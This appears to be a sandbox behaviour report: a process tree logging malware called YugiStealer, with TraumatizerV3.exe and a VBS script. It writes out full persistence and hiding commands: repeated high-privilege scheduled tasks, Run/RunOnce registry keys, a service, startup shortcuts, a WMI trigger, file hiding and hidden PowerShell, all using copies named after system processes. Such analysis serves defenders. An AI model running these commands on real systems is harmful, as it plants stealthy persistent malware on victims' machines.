C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Users\Public\Documents\winlogon.exe"C:\Users\Public\Documents\winlogon.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\winlogon.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\winlogon.exe\" }"2⤵
-
C:\Users\Public\Documents\winlogon.exe"C:\Users\Public\Documents\winlogon.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onstart /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Users\Public\Documents\winlogon.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Users\Public\Documents\winlogon.exe\"; $Shortcut.Save()"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Users\Public\Documents\winlogon.exe\" }"4⤵
-
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "sc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto"2⤵
-
C:\Windows\system32\sc.exesc create \"YugiStealerSvc\" binPath= \"C:\Users\Public\Documents\winlogon.exe\" start= auto3⤵
- Launches sc.exe
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f"2⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce /v YugiStealer /t REG_SZ /d \"C:\Users\Public\Documents\winlogon.exe\" /f3⤵
- Modifies registry key
-
-
-
C:\Windows\Temp\6R4ohart\TraumatizerV3.exe"C:\Windows\Temp\6R4ohart\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Windows\Temp\6R4ohart\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
-
-
-
C:\Users\Admin\Downloads\TraumatizerV3.exe"C:\Users\Admin\Downloads\TraumatizerV3.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"TraumatizerV3\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\wscript.exe"wscript.exe" //B //Nologo C:\Users\Admin\Downloads\FartnutsTrauma.vbs2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c @echo off3⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
- Delays execution with timeout.exe
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
- Views/modifies file attributes
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 1 /nobreak >nul & attrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs" >nul 2>&13⤵
-
C:\Windows\system32\timeout.exetimeout /t 1 /nobreak4⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\Downloads\FartnutsTrauma.vbs"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$file = Get-Item -Path 'C:\Users\Admin\Downloads\FartnutsTrauma.vbs'; if ($file) { $file.Attributes = 'Hidden,System,Archive' }" >nul 2>&13⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "tasklist /v /fo csv"2⤵
-
C:\Windows\system32\tasklist.exetasklist /v /fo csv3⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\Temp\winlogon.exe"C:\Windows\Temp\winlogon.exe"1⤵
- Drops startup file
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\Windows\Temp\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Public\Documents\svchost.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy6\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy7\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onstart /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\winlogon.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\winlogon.exe\" }"2⤵
-
-
C:\Windows\Temp\services.exe"C:\Windows\Temp\services.exe"1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\services.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\services.exe\" }"2⤵
-
C:\Windows\Temp\services.exe"C:\Windows\Temp\services.exe"3⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\winlogon.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest"4⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest5⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"4⤵
-
